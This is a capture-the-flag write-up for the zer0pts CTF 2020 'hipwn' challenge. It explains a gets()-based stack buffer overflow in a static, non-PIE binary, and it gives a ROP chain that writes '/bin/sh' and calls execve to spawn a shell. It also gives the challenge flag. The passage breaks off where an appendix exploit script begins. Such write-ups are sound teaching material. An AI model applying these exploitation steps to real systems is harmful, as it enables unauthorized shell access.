# hipwn - zer0pts CTF 2020 (pwn, 158p, 81 solved)## Introduction
hipwn is a pwn task.
An archive containing a binary, and its source code is provided.
The binary asks the user for its name, and prints it.
## Exploitation
The binary uses `gets` to read the user input in a fixed-size array on thestack. There is no protection on the stack.
This is the most basic case of a stack-based buffer overflow.
The binary is statically compiled, so the whole libc is contianed in the bianry.It is not compiled as a position-independant executable. As a result, it is notsubject to ASLR.
The ROP chain used to exploit this binary is the following:```assemblerpop rax; "/bin/sh\0"pop rdi; 0x00604268 // somewhere on the bssmov [rdi], raxpop rsi; NULLpop rdx, NULLpop rax, SYS_execvesyscall```
**Flag**: `zer0pts{welcome_yokoso_osooseyo_huanying_dobropozhalovat}`
## Appendices
### pwn.php
```php#!/usr/bin/php